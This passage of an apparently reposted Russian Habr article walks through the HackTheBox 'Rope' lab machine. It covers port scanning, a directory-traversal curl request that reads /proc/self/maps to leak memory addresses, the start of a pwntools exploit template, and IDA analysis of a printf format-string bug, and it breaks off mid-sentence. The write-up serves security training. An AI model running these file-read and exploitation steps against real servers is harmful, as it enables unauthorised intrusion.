{"id":304132,"date":"2020-05-23T21:00:33","date_gmt":"2020-05-23T21:00:33","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=304132"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=304132","title":{"rendered":"Hack The Box. \u041f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 Rope. PWN. \u0424\u043e\u0440\u043c\u0430\u0442\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0438 ROP \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f pwntools"},"content":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\" data-io-article-url=\"https:\/\/habr.com\/ru\/post\/503414\/\">\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/cl\/ci\/gs\/clcigsntltvnbkltsfgppni4t0u.png\" alt=\"image\"><\/div>\n<p>  \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0434\u043e\u0440\u0435\u0448\u0438\u0432\u0430\u043d\u0438\u0435 \u043c\u0430\u0448\u0438\u043d \u0441 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0438 <a href=\"https:\/\/www.hackthebox.eu\" rel=\"nofollow\">HackTheBox<\/a>. <\/p>\n<p>  \u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c \u043c\u043d\u043e\u0433\u043e \u043c\u043d\u043e\u0433\u043e pwn, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0435\u043c \u0440\u0435\u0448\u0430\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438 pwntools. \u0414\u0443\u043c\u0430\u044e \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u043d\u043e \u0447\u0438\u0442\u0430\u0442\u0435\u043b\u044f\u043c \u0441 \u043b\u044e\u0431\u044b\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043e\u0441\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u0442\u0435\u043c\u0435. \u041f\u043e\u0435\u0445\u0430\u043b\u0438\u2026<\/p>\n<p>  \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 VPN. \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u0441 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0438\u043b\u0438 \u0441 \u0445\u043e\u0441\u0442\u0430, \u0433\u0434\u0435 \u0438\u043c\u0435\u044e\u0442\u0441\u044f \u0432\u0430\u0436\u043d\u044b\u0435 \u0434\u043b\u044f \u0432\u0430\u0441 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a \u043a\u0430\u043a \u0412\u044b \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442\u0435 \u0432 \u0447\u0430\u0441\u0442\u043d\u0443\u044e \u0441\u0435\u0442\u044c \u0441 \u043b\u044e\u0434\u044c\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0447\u0442\u043e-\u0442\u043e \u0434\u0430 \u0443\u043c\u0435\u044e\u0442 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0418\u0411 \ud83d\ude42 <\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f<\/b>                         <\/p>\n<div class=\"spoiler_text\">\u0427\u0442\u043e\u0431\u044b \u0432\u044b \u043c\u043e\u0433\u043b\u0438 \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u043e \u043d\u043e\u0432\u044b\u0445 \u0441\u0442\u0430\u0442\u044c\u044f\u0445, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u044f \u0441\u043e\u0437\u0434\u0430\u043b <a href=\"https:\/\/t.me\/RalfHackerChannel\" rel=\"nofollow\">\u043a\u0430\u043d\u0430\u043b \u0432 Telegram<\/a> \u0438 <a href=\"https:\/\/t.me\/RalfHackerPublicChat\" rel=\"nofollow\">\u0433\u0440\u0443\u043f\u043f\u0443 \u0434\u043b\u044f \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u043b\u044e\u0431\u044b\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432<\/a> \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0418\u0438\u041a\u0411. \u0422\u0430\u043a\u0436\u0435 \u0432\u0430\u0448\u0438 \u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u043e\u0441\u044c\u0431\u044b, \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 <a href=\"https:\/\/t.me\/hackerralf8\" rel=\"nofollow\">\u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u044e \u043b\u0438\u0447\u043d\u043e \u0438 \u043e\u0442\u0432\u0435\u0447\u0443 \u0432\u0441\u0435\u043c<\/a>.<br \/>  <a name=\"habracut\"><\/a><br \/>  \u0412\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445. \u0410\u0432\u0442\u043e\u0440 \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u043d\u0435 \u043d\u0435\u0441\u0451\u0442 \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u043b\u044e\u0431\u043e\u0439 \u0443\u0449\u0435\u0440\u0431, \u043f\u0440\u0438\u0447\u0438\u043d\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u0443-\u043b\u0438\u0431\u043e \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u043c\u0435\u0442\u043e\u0434\u043e\u0432, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430.  <\/div>\n<\/p><\/div>\n<p>  <\/p>\n<h2>Recon<\/h2>\n<p>  \u0414\u0430\u043d\u043d\u0430\u044f \u043c\u0430\u0448\u0438\u043d\u0430 \u0438\u043c\u0435\u0435\u0442 IP \u0430\u0434\u0440\u0435\u0441 10.10.10.148, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e \u0432 \/etc\/hosts.<\/p>\n<pre><code class=\"plaintext\">10.10.10.148    rope.htb<\/code><\/pre>\n<p>  \u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u043e\u0440\u0442\u044b. \u0422\u0430\u043a \u043a\u0430\u043a \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u043f\u043e\u0440\u0442\u044b nmap\u2019\u043e\u043c \u0434\u043e\u043b\u0433\u043e, \u0442\u043e \u044f \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0434\u0435\u043b\u0430\u044e \u044d\u0442\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e masscan. \u041c\u044b \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c \u0432\u0441\u0435 TCP \u0438 UDP \u043f\u043e\u0440\u0442\u044b \u0441 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 tun0 \u0441\u043e \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c\u044e 500 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432 \u0441\u0435\u043a\u0443\u043d\u0434\u0443.<\/p>\n<pre><code class=\"bash\">masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/xf\/d7\/5k\/xfd75kcmf_acjvyqtaprv-sc6bo.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 \u043f\u043e\u0440\u0442\u0430\u0445, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 \u043e\u043f\u0446\u0438\u0435\u0439 -\u0410.<\/p>\n<pre><code class=\"bash\">nmap -A rope.htb -p22,9999<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/sd\/tk\/c3\/sdtkc3orydw9_76o6c3gwryhlhc.png\" alt=\"image\"><\/p>\n<p>  \u041d\u0430 \u0445\u043e\u0441\u0442\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0441\u043b\u0443\u0436\u0431\u044b SSH \u0438 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440. \u0417\u0430\u0439\u0434\u0435\u043c \u043d\u0430 \u0432\u0435\u0431, \u0438 \u043d\u0430\u0441 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u0442 \u0444\u043e\u0440\u043c\u0430 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/-h\/zo\/lz\/-hzolzjpvg00y1l3v1y1mbnqpv8.png\" alt=\"image\"><\/p>\n<p>  \u041f\u0440\u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043d\u0435 \u0438\u0434\u0435\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e \/ (http:\/\/rope.htb:9999\/\/).<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/79\/jd\/ix\/79jdixhqpjhqhs0rsdkqg-hpluc.png\" alt=\"image\"><\/p>\n<p>  \u0418 \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \/opt\/www \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u2014 \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ey\/qz\/fj\/eyqzfjlf98744atrwnzsj3wsjsk.png\" alt=\"image\"><\/p>\n<h2>HTTPserver PWN<\/h2>\n<p>  \u0421\u043a\u0430\u0447\u0430\u0435\u043c \u0435\u0433\u043e \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a\u0430\u044f \u0435\u0441\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e checksec.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ch\/xe\/hx\/chxehxx1ao9zlo9pk1wbttlrif8.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043c\u044b \u0438\u043c\u0435\u0435\u043c 32-\u0445 \u0431\u0438\u0442\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441\u043e \u0432\u0441\u0435\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0437\u0430\u0449\u0438\u0442\u0430\u043c\u0438, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e:  <\/p>\n<ul>\n<li>\u0411\u0438\u0442 NX (not execute) \u2014 \u044d\u0442\u043e \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0430\u044f \u0432 \u0426\u041f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u0443\u0435\u0442, \u0447\u0442\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 (\u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0441\u0442\u0435\u043a \u0438 \u043a\u0443\u0447\u0430) \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b, \u0430 \u0434\u0440\u0443\u0433\u0438\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0440\u0430\u0437\u0434\u0435\u043b \u043a\u043e\u0434\u0430, \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b. \u042d\u0442\u043e \u043c\u0435\u0448\u0430\u0435\u0442 \u043d\u0430\u043c \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u0432 \u0441\u0442\u0435\u043a \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0435\u0433\u043e.<\/li>\n<li>ASLR: \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0440\u0430\u043d\u0434\u043e\u043c\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0431\u0430\u0437\u0443 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a (libc), \u0442\u0430\u043a \u0447\u0442\u043e \u043c\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u043c \u0437\u043d\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u043f\u0430\u043c\u044f\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 libc. \u042d\u0442\u043e \u043c\u0435\u0448\u0430\u0435\u0442 \u0430\u0442\u0430\u043a\u0430\u043c \u0442\u0438\u043f\u0430 ret2libc.<\/li>\n<li>PIE: \u044d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434, \u043a\u0430\u043a \u0438 ASLR, \u0440\u0430\u043d\u0434\u043e\u043c\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u0430\u0434\u0440\u0435\u0441, \u043d\u043e \u0438\u0437 \u0441\u0430\u043c\u043e\u0433\u043e \u0434\u0432\u043e\u0438\u0447\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \u042d\u0442\u043e \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u044f\u0435\u0442 \u043d\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432 \u0438\u043b\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.<\/li>\n<li>Canary: \u043e\u0431\u044b\u0447\u043d\u043e \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0438 \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0435\u0446 \u043e\u0431\u043b\u0430\u0441\u0442\u0438, \u0433\u0434\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0441\u0442\u0435\u043a. \u0412 \u043a\u043e\u043d\u0446\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f, \u0431\u044b\u043b\u043e \u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043a\u0430\u043d\u0430\u0440\u0435\u0435\u043a. \u041c\u0435\u0448\u0430\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441.<\/li>\n<\/ul>\n<p>  \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043a\u0430\u0440\u0442\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \u042d\u0442\u043e \u0434\u0430\u0441\u0442 \u043d\u0430\u043c \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b:   <\/p>\n<ol>\n<li>\u041f\u043e \u043a\u0430\u043a\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u0430 \u0441\u0430\u043c\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430?<\/li>\n<li>\u0418 \u043f\u043e \u043a\u0430\u043a\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443, \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u0435\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438?<\/li>\n<\/ol>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0441\u0434\u0435\u043b\u0430\u0435\u043c \u044d\u0442\u043e.  <\/p>\n<pre><code class=\"bash\">curl &quot;http:\/\/rope.htb:9999\/\/proc\/self\/maps&quot; -H 'Range: bytes=0-100000'<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ex\/gp\/v4\/exgpv4as7ucyftbf6qpqxglysbc.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043c\u044b \u0438\u043c\u0435\u0435\u043c \u0434\u0432\u0430 \u0430\u0434\u0440\u0435\u0441\u0430: 0x56558000 \u0438 f7ddc000. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0443\u0442\u044c \u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 libc \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0441\u043a\u0430\u0447\u0430\u0435\u043c \u0435\u0435 \u0442\u043e\u0436\u0435. \u0422\u0435\u043f\u0435\u0440\u044c \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0432\u0441\u0435\u0433\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0434\u0435\u043b\u0430\u0435\u043c \u0448\u0430\u0431\u043b\u043e\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430.  <\/p>\n<pre><code class=\"python\">from pwn import * import urllib import base64  host = 'rope.htb' port = 9999  context.arch = 'i386' binary= ELF('.\/httpserver') libc = ELF('.\/libc-2.27.so') bin_base = 0x56558000  libc_base = 0xf7ddc000<\/code><\/pre>\n<p>  \u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0441\u0430\u043c \u0444\u0430\u0439\u043b \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432 \u0443\u0434\u043e\u0431\u043d\u043e\u043c \u0434\u043b\u044f \u0432\u0430\u0441 \u0434\u0438\u0437\u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0435 (\u0441 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u043e\u043c). \u042f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e IDA \u0441 \u043a\u0443\u0447\u0435\u0439 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432, \u0438 \u043f\u0435\u0440\u0435\u0434 \u0442\u0435\u043c \u043a\u0430\u043a \u0437\u0430\u0441\u0435\u0441\u0442\u044c \u0437\u0430 \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437, \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0438\u0442\u0430\u044e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432\u0441\u0435, \u0447\u0442\u043e \u043c\u043d\u0435 \u043c\u043e\u0433\u0443 \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u043f\u043b\u0430\u0433\u0438\u043d\u044b. \u041e\u0434\u0438\u043d \u0438\u0437 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0442\u0430\u043a\u0438\u0445 \u2014 <a href=\"https:\/\/github.com\/L4ys\/LazyIDA\" rel=\"nofollow\">LazyIDA<\/a>. \u0418 \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u201cscan format string vuln\u201d \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0442\u0430\u0431\u043b\u0438\u0447\u043a\u0443 \u0441 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ab\/85\/3d\/ab853dd56ri3loneyejkce4snvm.png\" alt=\"image\"><\/p>\n<p>  \u041f\u043e \u043e\u043f\u044b\u0442\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u0430, \u044f \u0441\u0440\u0430\u0437\u0443 \u043e\u0431\u0440\u0430\u0442\u0438\u043b \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0432\u0442\u043e\u0440\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 (\u043d\u0430 \u0435\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0444\u043e\u0440\u043c\u0430\u0442). \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u043d\u0430 \u043c\u0435\u0441\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c \u0435\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/_7\/iw\/sg\/_7iwsgc6cxf0rrpe3ruaoyolobi.png\" alt=\"image\"><\/p>\n<p>  \u0418 \u0434\u043e\u0433\u0430\u0434\u043a\u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b, \u0441\u0442\u0440\u043e\u043a\u0430 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e printf. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u044b\u044f\u0441\u043d\u0438\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u0437\u0430 \u0441\u0442\u0440\u043e\u043a\u0430. \u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043d\u0430 \u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0437\u043e\u0432\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 log_access.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/0n\/vr\/1q\/0nvr1qtnll7c_hab2jrqo-5fvdm.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0430\u043a \u043d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 \u0442\u0440\u0435\u0442\u0438\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u043f\u043e\u043c\u0435\u0447\u0435\u043c IDA \u043a\u0430\u043a file. \u0418 